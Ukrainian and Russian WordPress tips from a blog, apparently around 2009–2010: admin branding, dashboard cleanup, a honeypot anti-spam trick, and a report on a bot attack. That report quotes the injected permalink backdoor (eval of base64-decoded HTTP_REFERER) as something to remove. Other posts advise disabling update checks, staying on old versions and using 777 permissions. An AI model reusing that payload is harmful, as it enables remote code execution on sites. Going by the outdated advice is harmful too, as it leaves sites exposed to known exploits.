Брендована адмінка.

Задача: Зробити вивід власного логотипу замість логотипу WordPress на сторінці логіну в адмінку, та в заголовку адмінки.

Для виводу логотипу на сторінці логіну зкопіюйте цей код в файл functions.php вашої теми:

function my_custom_login_logo() {
    echo '<style type="text/css">
        html {background-color:#001721;}
        h1 a { background-image:url('.get_bloginfo('template_directory').'/images/logo.png) !important; } </style>';
}

add_action('login_head', 'my_custom_login_logo');

Цим самим ви замінюєте вивід логотипа на власний logo.png , що знаходиться в папці images вашої поточної теми. Як бачите, зміни стосуються лише css’у і ви можете туди додати ще свої стилі для інших елементів (я, наприклад, ще люблю поміняти фон під фірмові кольори та тінь додати яскравого кольору, щоб було як ефект м’ягкої підсвітки)

Ось приклади таких сторінок логіну:

А ось код, що змінить логотип в заголовку адмінки:

 function my_custom_logo() {
    echo '<style type="text/css">#header-logo { background-image: url('.get_bloginfo('template_directory').'/img/clogo.png) !important; }</style> ';
    }
add_action('admin_head', 'my_custom_logo');

Тут я теж люблю додавати стилі, щоб забрати заголовок сайту і зробити лого клікабельним. Приклад зміненої шапки адмінки

Заміна тексту в футері адмінки

Ще одна фішка, добавляє в футер адмінки дані про використану оперативку на хостингу і кількість запитів до MySQL та швидкість генерації сторінки:

function usage($value) {
	if ($value == 1)
		echo '<div class="usage">';
	
	printf(('%d / %s'), get_num_queries(), timer_stop(0, 3));
	echo ' / ' . round(memory_get_usage()/1024/1024, 2) . ' мб';
	
	if ($value == 1)
		echo '</div>';
}
add_action('admin_footer_text', 'usage');

Звичайно ви можете замінити це і в команді echo виводити якусь іншу інформацію.

Видалення непотрібних блоків в “Майстерні”

Наступний хак видаляє непотрібні блоки з головної сторінки адмінки, так званої “Майстерні” :

function custom_dashboard() {
	global $wp_meta_boxes;

	//unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_right_now']);
	unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_recent_comments']);
	unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_incoming_links']);
	unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_plugins']);
	unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_quick_press']);
	unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_recent_drafts']);
	unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_primary']);
	unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_secondary']);
}
add_action('wp_dashboard_setup', 'custom_dashboard');

В кожному рядку видаляється по одному блоку з “Майстерні”:

dashboard_recent_comments — свіжі коментарі
dashboard_incoming_links — вхідні посилання
dashboard_plugins — rss новин плагіни
dashboard_quick_press — швидка публікація
dashboard_recent_drafts — нещодавні чернетки
dashboard_primary — rss новини WordPress
dashboard_secondary — rss інші новини WordPress

Я зазвичай видаляю все окрім основного блоку “Прямо зараз”. На сайтах з включеною можливістю коментування ще залишаю блок “Свіжі коментарі”. Ви можете так само вибірково видалити непотрібні елементи, видаливши рядок, що відповідає йому.

Видалення непотрібних блоків в head секції

Наступний хак я використовую на сайтах-візитках де не потрібно rss і перелінковки між постами, так як основний контент йде на сторінках. Він видаляє купу непотрібних рядків в секції head коду html.

remove_action('wp_head', 'feed_links', 2); //rss
remove_action('wp_head', 'feed_links_extra', 3); //atom 
remove_action('wp_head', 'index_rel_link'); // тут і нижче лінки для перелінковки сторінок
remove_action('wp_head', 'adjacent_posts_rel_link_wp_head', 10, 0);
remove_action('wp_head', 'next_post_rel_link', 10, 0);
remove_action('wp_head', 'parent_post_rel_link', 10, 0);
remove_action('wp_head', 'rel_canonical');
remove_action('wp_head', 'start_post_rel_link', 10, 0);
remove_action('wp_head', 'rsd_link'); // лінка для трекбеків
remove_action('wp_head', 'wlwmanifest_link'); // лінка для редактора Windows Live Writer
remove_action('wp_head', 'wp_generator'); // тег, в якому пише версія вордпресу
remove_action( 'init', 'wp_version_check' ); // видалення провірки оновлень
remove_action( 'load-plugins.php', 'wp_update_plugins' ); // не провіряти оновлення плагінів
remove_action( 'load-update.php', 'wp_update_plugins' );
remove_action( 'admin_init', '_maybe_update_plugins' );
remove_action( 'wp_update_plugins', 'wp_update_plugins' );
remove_action( 'admin_init', '_maybe_update_themes' ); // не провіряти оновлення тем
remove_action( 'wp_update_themes', 'wp_update_themes' );

Використовувати це чи ні на вашому блозі це вже на ваш розсуд.

Заборона вставляти лінки в коментарях

Якщо ви не хочете, щоб лінки залишені коментаторами автоматично конвертувались в клікабельні посилання, то вставте цей код в functions.php:

remove_filter('comment_text', 'make_clickable', 9)

Показувати повідомлення про нову версію вордпреса лише для адмінів

< ?php
function stop_wpupdate() {
if ( current_user_can('manage_options') ) {
return;
} else {
remove_action( 'admin_notices', 'update_nag', 3 );
}
}
add_action( 'admin_notices', 'stop_wpupdate', 1 );
?>

Кнопки видалення коментарів на сторінці посту

Попередня фішка з показом повідомлень оновлень вордпресу для адмінів використовує функцію current_user_can яка визначає, чи має поточний юзер певні права. На основі цього я зробив фішку, що показує лінки на видалення коментарів і встановлення помітки “спам” для адміністраторів на сторінці посту. Цей код вставляєм в functions.php:

function delete_comment_link($id) {
  if (current_user_can('edit_post')) {
    echo '| <a href="'.admin_url("comment.php?action=cdc&amp;c=$id").'">del</a> ';
    echo '| <a href="'.admin_url("comment.php?action=cdc&amp;dt=spam&amp;c=$id").'">spam</a>';
  }
}

А саму функцію delete_comment_link вставляєм в файл comments.php вашої теми після функції edit_comment_link :

<?php edit_comment_link('Edit','',' '); delete_comment_link(get_comment_ID());?>

Анонс постів з певної рубрики в сайдбарі

В мене було завдання вивести в сайдбарі по першому реченню із трьох постів в рубриці “Проекти”. Я використав такий код в файлі sidebar.php :

     <div class="sidenews">
     <?php $my_query = new WP_Query('category_name=projects&showposts=3');
     while ($my_query->have_posts()) : $my_query->the_post(); ?>
     <h3><a href="<?php the_permalink() ?>" title="<?php the_title(); ?>"><?php the_title(); ?></a></h3>
     <?php preg_match( '/^.{150,}?[.?!]+(?=\s|$)/ ', get_the_content(), $A );
                               echo '<p>'.$A[ 0 ].'</p>'; ?>   
     <?php endwhile; ?>
     <p><a href="<?php echo get_category_link('4') ?>">Все проекты</a></p>
     </div>

Використаний регулярний вираз шукає перше речення, але якщо це речення менше 150 символів, то вона захопить і наступні речення. Таким чином я уникнув помилки, коли в першому реченні зустрічається чиєсь прізвище чи адрес сайту.

Вставка кнопки твітера Tweet

Щоб появилась кнопка з підрахуноком кількості ретвітів потрібно вставити ось такий код в файл single.php вашої теми (наприклад після коду the_title(); ):

<a href="http://twitter.com/share" class="twitter-share-button" data-text="<?php the_title(); ?>" data-url="<?php the_permalink(); ?>" data-count="horizontal">Tweet</a>
<script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

Це виведе горизонтальну кнопку з кількістю ретвітів з правої сторони. А щоб кількість ретвітів показувалось над кнопкою, то замініть data-count="horizontal" на data-count="vertical"

Ну і наостанок маленький хак: щоб в редакторі постів зробити перенос рядка br потрібно натискати Shift+Enter

Вчора пройшла хвиля атаки і взлому блогів на вордпресі. А якщо погуглити, то можемо зробити висновок, що пострадали тисячі сайтів.

Так в чому полягала суть? А суть в тому, що дехто запустив в мережу бота, що виявляв старі версії WordPress (до версії 2.8.4) і користуючись старим багом, реєстрував юзера і використовуючи певних шаблон посилання отримував адмінські права, потім під цим юзером міняв шаблон ЧПУ в налаштуваннях, а далі модифікував (заражав) код теми, щоб підсовувати відвідувачам вірус чи ще якусь фігню.

І хоч мій блог досі працює на одній із старих версій вордпресу, але його ця напасть минувала. А все тому, що бот визначав версію блога по мета-тегу, що автоматом прописує вордпрес в усі теми, а я цей тег давним давно в себе видалив. Про те, як видалити цей тег, я писав раніше в статті: корисні функції в functions.php — раджу і вам таке зробити ;)

А тим, хто вже пострадав від цього віруса, черв’яка, бота (називайте як хочете) потрібно зробити:

• В налаштуваннях ЧПУ, поміняти з
  /%postname%/%&({${evаl(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
  на
  /%postname%/
  (у вас може відрізнятись структура, по аналогії я думаю зрозумієте :))
• Найдіть останнього зареєстрованого користувача на вашому сайті і знищіть його! Швидше за все, це буде MikeWink E-mail: bugbeemershonyhe@gmail.com
• Оновити WordPress до версії 2.8.4

Але якщо немає бажання оновлюватись і хочете покращити безпеку свого блогу, ви можете заборонити всім доступ до адмінки окрім себе, за допомогою невеличкої правки .htaccess
Звичайно, було б добре коли у вас постійний статичний IP-адрес, тоді тільки б його і вказали. А якщо у вас динамічна айпішка, то можете вказати діапазон
Для цього зробіть наступне:

• зайдіть на сайт myip.ru аби дізнатись ваш IP адрес (способів дізнатись зовнішній айпі дуже багато, я привів самий простий для блондинок). Ви наприклад побачили: ВАШ IP-АДРЕС: 91.134.98.173
• створіть файл .htaccess в папці wp-admin вашого блогу і пропишіть там наступне:

  AuthUserFile /dev/null
  AuthGroupFile /dev/null
  AuthName "Access Control"
  AuthType Basic
  
  order deny,allow
  deny from all
  allow from 91.134.98.173
  

  а якщо у вас динамічна айпішка, то краще напишіть так:

  
  AuthUserFile /dev/null
  AuthGroupFile /dev/null
  AuthName "Access Control"
  AuthType Basic
  
  order deny,allow
  deny from all
  allow from 91.134.0.0/255.255.0.0
  

  Детальніше про синтаксис директив Allow, Deny для Apache htaccess читайте тут.

• Збережіть файл. Все.

Тепер, до адмінки вашого блогу зможете потрапити лише ви з вашого комп’ютера. А якщо ви будете в дорозі, або в інтернет-кафе і захочете, зайти в адмінку блога, а вас не буде пускати (швидше за все, ви побачите помилку 404), бо айпішка не входить у вказаний діапазон, то тоді вам потрібно буде зайти по фтп на хостинг і тимчасово переіменувати файл .htaccess. І тут мабудь хтось з вас подумав: «Це що, я ще й маю пароль на фтп пам’ятати для таких випадків?» — Ну а що ви хотіли, прийдеться жертувати зручністю заради безпеки. Це як у відомій цитаті: «Так вам шашечки или ехать?!»

Бережіть себе і бережіть свій блог.

[tab:По русски]

Вчера прошла волна атаки и взлома блогов на вордпрессе. И если погуглить, то можно судить, что пострадали тысячи блогов.

Но как все это произошло? А случилось вот что: кое-кто запустил в сеть бота, который находил старые версии WordPress (до версии 2.8.4) и пользуясь старым багом, регистрировал юзера и используя определенную ссылку получал права админа на блоге, потом под этим юзером менял шаблон ЧПУ в настройках, а далее модифицировал (заражал) код темы.

И хотя мой блог до сих пор работает на одной из старых версий вордпресса, но не пострадал. А все потому, что бот определял версию блога по мета-тегу, который автоматически прописывает вордпресс во все темы, а я этот тег давным-давно у себя удалил. Про то, как удалить этот тег, я писал ранее в статье: корисні функції в functions.php — советую и вам так же сделать ;)

А тем, кто уже пострадал от этого вируса, червья, бота (называйте как хотите) нужно:

• В настройках ЧПУ, поменять с
  /%postname%/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
  на
  /%postname%/
  (у вас может отличаться структура, по аналогии думаю поймете, что где поменять :))
• Найдите последнего зарегистрированного пользователя на вашем сайте и уничтожьте его! Скорее всего , это будет MikeWink E-mail: bugbeemershonyhe@gmail.com
• Обновите WordPress до версии 2.8.4

А если нет желания обновляться и хотите улучшить безопасность своего блога, то вы можете запретить всем доступ к админке, кроме себя, с помощю небольшой правки .htaccess
Конечно, было бы лучше, если у вас постоянный статический IP-адрес, тогда тольки бы его и указывали. Но в случае динамического айпи-адреса можете указывать диапазон адресов.
Для это сделайте следующее:

• зайдите на сайт myip.ru чтобы узнать ваш IP адрес. К примеру: ВАШ IP-АДРЕС: 91.134.98.173
• создайте файл .htaccess в папке wp-admin вашего блога и пропишите там следующее:

  AuthUserFile /dev/null
  AuthGroupFile /dev/null
  AuthName "Access Control"
  AuthType Basic
  
  order deny,allow
  deny from all
  allow from 91.134.98.173
  

  в случае динамического IP-адреса, напишите так:

  
  AuthUserFile /dev/null
  AuthGroupFile /dev/null
  AuthName "Access Control"
  AuthType Basic
  
  order deny,allow
  deny from all
  allow from 91.134.0.0/255.255.0.0
  

  Подробнее о синтаксисе директив Allow, Deny для Apache htaccess читайте здесь.

• Сохраните файл. Все.

Теперь, к админке вашего блога зайти можете только вы с вашого компьютера. Ну а если вы будете в дороге, или в интернет-кафе и захотите, зайти в админку блога, а вас не будет пускать (скорей всего, вы увидите сообщение об ошибке 404), потому что IP-адрес не входит в указанный диапазон, то тогда вам нужно будет зайти по фтп на хостинг и временно переименовать файл .htaccess. И тут, наверное, кто-то из вас подумал: «Это я еще должен и пароль на фтп помнить для таких случаев?» — Ну а что вы хотели, приходится жертвовать удобством ради безопасности. Помните цитату: «Так вам шашечки или ехать?!»

Берегите себя и берегите свой блог.

[tab:END]

• плагіни капч (captcha) — фу.
• Акісмет — не справляється
• Parasite Eliminator — «хорошо, но не очень». Він стоїть в мене на одному блозі + Akismet і все рівно спам проскакує (інколи на модерації затримується, а інколи й пропускає).
• інші антиспам-плагіни — fail
• кумедні рішення — постав галочку «я не робот» чи «нажми на прямокутник», навіть пробувати не хочу, бо знаю як це обходиться
• відповіді на запитання — ага, один раз наткнувся на питання: «What color is orange?» я спробував і «оранжевий» і «апельсиновий» і «помаранчевий» і «orange» — ніфіга, не пускала шайнтан-машина

Я от обхожу стороною такі блоги, статтю ще можу почитати, але свій коментар лишати не збираюся.

А тепер прийшла пора розказати, чому в мене немає спамерів і для відвідувачів створенні всі умови для зручного коментування.
В мене форма коментування з «подвійним дном» — насправді в мене дві форми — в одну пишуть роботи-спамери, а друга для моїх шанованих відвідувачів.

Для цього в файлі comments.php вашої теми вордпресу знайдіть наступний рядок:

<textarea name="comment" id="comment" cols="61" rows="13" class="textarea"></textarea>

цей рядок ми замінимо на такі два рядки:

<div class="smo"><textarea name="comment" id="comment" cols="61" rows="13" class="textarea"></textarea></div>
<textarea name="real-comment" id="real-comment" cols="61" rows="13" class="textarea"></textarea>

де ви бачите, що попередню форму для коментування (textarea) ми засунемо в окремий блок, який згодом приховаємо, і створюєм ще один блок коментування для людей, в якому ім’я блоку відрізняється від стандартного імені, що присвоює вордпрес. Тут в прикладі є “real-comment“, але ви можете його змінити на щось своє, наприклад на “text-comment“. Так само як і можете змінити class=”smo” на щось інше, наприклад class=”comtext”
Тепер відкривайте style.css для вашої теми і пропишіть там цей рядок:

.smo {position: absolute; left: -1000px;}

Що це значить? Це значить, що стандартну форму коментування ми приховали, таким чином, що зсунули її на -1000 пікселів на екрані, але спамбот не може цього знати, бо він не може аналізувати вміст файлу стилів і тому буде пробувати написати коментар в цю форму.
Тепер зробимо, аби люди могли спокійно залишати коментар. Для цього відкрийте файл wp-comments-post.php, що знаходиться в корені вашого вордпрес-блогу та віднайдіть такі рядки:

$comment_author       = trim(strip_tags($_POST['author']));
$comment_author_email = trim($_POST['email']);
$comment_author_url   = trim($_POST['url']);
$comment_content      = trim($_POST['comment']);

які слід замінити на:

$spam_test_field = trim($_POST['comment']);
if(!empty($spam_test_field)) wp_die('Іще один спамер попався!');
$comment_author       = trim(strip_tags($_POST['author']));
$comment_author_email = trim($_POST['email']);
$comment_author_url   = trim($_POST['url']);
$comment_content      = trim($_POST['real-comment']);

Це і все! Це звісно не вбереже вас від ручного спаму, але якщо брати до уваги що 99% спаму це спамботи, то цей спосіб можна спокійно називати панацеєю від спаму.

UPD: Андрій Поданенко вирішив поставити під сумнів цей метод і ми позмагались у винахідливості. Про що його стаття у відповідь: «І знову спам. Погляд відсутності 0% та 100%. Antitop v0.3.»

UPD2 (26.11.2010) Тепер вже не потрібно це все робити вручну, бо є вже готовий плагін Antispam Bee

Давненько я нічого нового не публікував, все займаюсь іншими речами: роблю свою першу тему для вордпресу, вивчаю css та jquery, взявся за сайт присвячего доктору Хаусу, найняв туди контент-менеджера, тепер всі прибутки з того сайту йдуть їй на зарплату, але впевнений, що це швидко окупиться.

А ще давно я собі намітив в todo’шках, аби оптимізувати код сторінок сайту, бо вони занадто багато займають. Загалом проблема великого розміру коду сторінок властива всім вордпресовським блогам, на які поначіплювано багато плагінів, чи використовують преміум-теми. Колись провіряв по сервісу webo.in свій блог, так він знайшов багато слабких місць і дав довжелезний список рекомендацій, як покращити код сайту і зробити його швидшим та легшим для завантаження.
Коли я то все почав вручну робити, то вже на перших пунктах затикався, бо не знав як додавати ETag / Last-Modified для файлів, зменшувати кількість css та javascript’ів теж непросто, бо не знаєш, чи надовго в тебе той чи інший плагін, який їх використовує. Короче, я забив на то всьо і зрозумів, що ще не доріс до такої оптимізації.

І тут, буквально позавчора натикаюсь на один скрипт, що оптимізує сайти якраз по цим параметрам. А як я втішився, коли побачив, що для wordpress’у вони випустили плагін, що робить всю ручну оптимізацію автоматичною, по натисканню однієї кнопки. Ляпота!

Загалом суть цього плагіну така: він об’єднує всі css-файли в один, всі js скрипти теж в один файл, потім його стискає gzip’ом, додає ETag / Last-Modified для усіх файлів, мініфікує сторінки (minify), додає кешуючі заголовки до всіх файлів, а в наступних версіях навіть обіцяють автоматом збирати CSS-спрайти (CSS Sprites).

І все що треба, так це скачати плагін PHP Speedy, активувати, та перейти на сторінку його налаштувань, де за допомогою підказок ви дізнаєтесь, що треба зробити. На правильних хостингах (яким я вважаю TOPUA.net) нічого не треба змінювати, а ось на більшості прийдеться змінити права доступу на файл конфігу плагіну, та дати права 777 на папку cache цього плагіну, в якій і будуть зберігатись наші оптимізовані css та js файли.

Я коли провірив, то очам своїм не міг повірити. Ось характеристика моєї головної сторінки блогу до оптимізації (дані взяті з плагіну Yslow):

А ось після того, як я натиснув кнопочку ‘Activate’ в плагіні PHP Speedy:

Вражає, правда? (тут А це найвища оцінка а F це найгірша, така американська система оцінок)

І маленька ложечка дьогтю: все кльово, але плагін ще не є релізом і тому трапляютсья деякі недоліки, ось наприклад він не може аналізувати css що включені через @import, але обіцяють і це виправити в наступних версіях.

Пробуйте і ви. Провірити можна на око, а можна отримати і точні дані завдяки аддонам Firebug (вкладка NET) та Yslow.

В моєму випадку з бази я викинув 67% сміття, у вас я думаю показники будуть більші. Отож по порядку:

1. Clean Options – чистим опції
2. Знищуємо таблиці від непотрібних плагінів
3. Міняємо кодування бази даних Вордпресу
4. Вилучаємо ревізії постів
5. Викидаєм зайве з Dashboard

А почалося все з цього:

Зверніть увагу на таблицю wp_options – 1.3Mb – це ж нечуванно!

Clean Options – чистим опції
Саме прикріше те, що “сміттєва” інформація знаходиться в таблиці wp_options (мабудь розраховували на те, що звичайний юзер побоїться в неї залізти). Отож скачуємо плагін Clean Options і запускаємо його кнопкою Find Orphaned Options. Ви побачите довжелезний список опцій що були добавленні плагінами, що стоять у вас, або колись стояли. От видалити ті опції плагінів що уже не стоять задача нелегка, адже там явно не вказано від якого плагіну той чи інший запис, тому прийдеться діяти наосліп озброївшись пошуком по гуглю. (можливо все таки варто зробити бекап бази перед цими діями, я відповідальності за ваші дії не несу). А нижче ви побачите список новин з rss-каналів що появляються в Панелі керування.

Ну признайтесь, хтось з вас їх читав? Я ні, а саме ці новини і займають по пару мегабайт в ваших базах даних вордпресу. От від них ми і безболісно позбавимось. Виділяєте їх і тиснете на “View Selected Options Information” де ви побачите зміст цих полів. Перед вами простягнеться довжелезне простирадло з довжелезним скроллом зі змістом того “сміття”. Одразу ж після завершення завантаження сторінки жміть End на клавіатурі, вибирайте галочку “Yes, Remove ALL of these options from the wp_options table.” і Submit. Здавалося би все — діло зроблене, але насправді ці дані все ще лишились в базі і для того щоб їх остаточно знищити слід зробити оптимізацію таблиць. Для цього заходимо в PhpMyAdmin і вибираємо таблицю wp_options а внизу вибираєм пунктик “Optimize Table”

Знищуємо таблиці від непотрібних плагінів

Як швидко дізнатись, що таблиця не “рідна-вордпресовська” а від плагіну?
По замовчуванню вордпрес створює 10 таблиць:
wp_comments
wp_links
wp_options
wp_postmeta
wp_posts
wp_terms
wp_term_relationships
wp_term_taxonomy
wp_usermeta
wp_users
Думаю у вас кількість таблиць значно більша і вияснити яка з них іще використовується, а яка вже ні, справа дещо складніша. Я лише так “на око” по назвам прикидував, здебільшого в назвах міститься натяк на те до якого плагіна вона відноситься. Ті таблиці що мені були невідомі я просто назву їх закидував в гугль і дивився результат. Таким чином з бази я викинув 21-у таблицю із 35!

Виправлення помилки в кодуваннях таблиць бази даних WordPress

В мене виявилось що по налаштуваннях MySql на хостингу всі нові таблиці створювались в кодуванні latin1_swedish_ci що є зовсім неправильним, але легко виправляється. Для цього в PhpMyAdmin в закладці Operations(Операции) знаходимо рядок: Collantions (Сравнение) і міняємо його на utf8_general_ci. Go! ok.
А от як бути з тими що вже в неправильному кодуванні? В інтернеті є описаний спосіб як його поміняти, але мені було простіше видалити всі таблиці в неправильному кодуванні і заново активувати плагіни що їх створювали (але в цьому я був впевнений, а вам так діяти не рекомендую, краще залишіть як є).

Видаляємо ревізії постів
В новій версії вордпресу ввели таке поняття як ревізії. Оскільки більшості ця функція нафіг не впала, то її можна вимкнути тим самим ще зменшити розмір бази даних і не давати їй так швидко розростатись. Для цього в файлі wp-config.php вимикаємо ревізії:

define('WP_POST_REVISIONS', false);

а потім все в тому ж PhpMyAdmin (Ви ж іще не закрили вкладку із ним, чи не так ;)) робимо запит:

DELETE FROM wp_posts WHERE post_type = 'revision'; 

Опісля виділяємо таблицю wp_posts і робимо її оптимізацію (надіюсь ще пам’ятаєте, пару абзаців вище я писав як ще робиться)

Викидуєм зайве з Dashboard (панель керування)
Ну і нарешті заліземо в один файлик — wp-admin/index.php з якого викинемо зайві рядки, аби нові rss-новини більше не засмічували базу.

<div id="dashboard-widgets-wrap">

<?php wp_dashboard(); ?>

</div>

От той рядок що закресленний якраз і треба викинути. Незручність лише в тому, що при кожному оновленні версії WordPress прийдеться знову чистити базу від RSS-каналів новин та знову видаляти цей рядочок у файлі.
В результаті цих дій я отримав таку картину:

і я нею задоволений, з 3-ох мегабайт зменшити базу до 1 метра!
p.s. До речі, плагін Clean Options після всіх цих дій, можна вимкнути, а коли обновитесь до нової версії WordPress то знову ввімкнете і повторите ці дії.

Пора повикидати з початкового коду вордпресу лишні теги. В ідеалі хочу зробити так, аби ніхто не зміг здогадатись що я використовую вордпрес в якості cms. Особисто мене дуже дратує напис:

<meta name="generator" content="WordPress 2.5.1" /><!-- leave this for stats -->

Для цього в functions.php вашої теми слід добавити два рядочки:

<?php
  remove_action('wp_head', 'wp_generator');
  remove_action('wp_head', 'wlwmanifest_link');
?>

а якщо вам надоїли попередження про оновлення версії вордпресу, то можна і їх вимкнути (до речі я теж схиляюся до думки що версія 2.3.3 є самою оптимальною)

Для цього в файлі wp-includes/update.php коментуєм значком # “лишній рядок” :

#add_action( init', 'wp_version_check');

Це до речі певним чином і прискорить роботу в адмінці.